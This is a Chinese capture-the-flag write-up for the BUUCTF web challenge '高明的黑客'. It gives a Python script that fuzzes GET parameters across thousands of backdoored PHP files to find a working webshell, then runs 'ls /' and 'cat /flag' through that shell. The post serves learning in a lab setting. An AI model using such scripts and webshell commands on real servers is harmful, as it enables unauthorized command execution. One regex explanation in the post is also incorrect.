BUUCTF web 高明的黑客 (fuzzing)

提示源码备份www.tar.gz,就访问这个uri,下载一个压缩包,里面有三千多个php文件,打开几个看看,如果有写过小马的就可以很容易发现几乎每个文件都有好多小马。但是大多数都不好用,到这里不会了,看wp。

说是这个题考的模糊测试,也就是fuzzing,又学新知识了。。


知识盲区

Fuzzing是指通过构造测试输入,对软件进行大量测试来发现软件中的漏洞的一种模糊测试方法。
可通过向目标系统提供非预期的输入并监视异常结果来发现软件漏洞。


这里就是对每个文件中的get的参数构造一个echo的命令,然后对返回结果分析来判断哪一个小马还可以用。
用python脚本来搜索一下,虽然很low,但是相比于其他大佬的更简单易懂。

import requests
import os
import re

url = "http://127.0.0.1/src/"
ptn0 = re.compile(r"\$_GET\['(\w+)'\]")    # $_GET['xxx']
pos = 0

for f in list(os.scandir("D:\\phpstudy\\PHPTutorial\\WWW\\src")):
    pos += 1
    print(pos)
    # print(f.path)

    with open(f.path, "r") as fp:
        data = fp.read()
    fp.close()
    # print(data)

    for key in set(ptn0.findall(data)):     # 匹配成功只会返回{]中的内容
        # print(get)    # 只会提取_GET[]中的内容
        # print(f.name, key)

        cmd = "echo flag"   # 通过小马执行linux的echo命令
        r = requests.get(url+f.name, params={key: cmd})

        if "flag" in r.text:
            print(f.name, key)
            exit(0)

知识盲区

re.compile()
在直接使用字符串表示的正则表达式进行search,match和findall操作时,python会将字符串转换为正则表达式对象。而使用compile完成一次转换之后,在每次使用模式的时候就不用重复转换。
当然,使用re.compile()函数进行转换后,re.search(pattern, string)的调用方式就转换为 pattern.search(string)的调用方式。

\w :匹配字母或数字或下划线或汉字 等价于 ‘[^A-Za-z0-9_]’
br"\$_GET\['(\w+)'\]" = => $_GET['xxxx']
br'>>> (\w+) !!!' = => >>>(xxxx)!!!

os.scandir()
返回一个迭代器包含目录中所有的对象,对象包含文件属性信息


找到了那个文件和key:xk0SzyKwfzw.php Efa5BVG
然后去访问这个文件,ls /查看当前目录的文件 cat /flag查看flag内容。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

H4ppyD0g

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值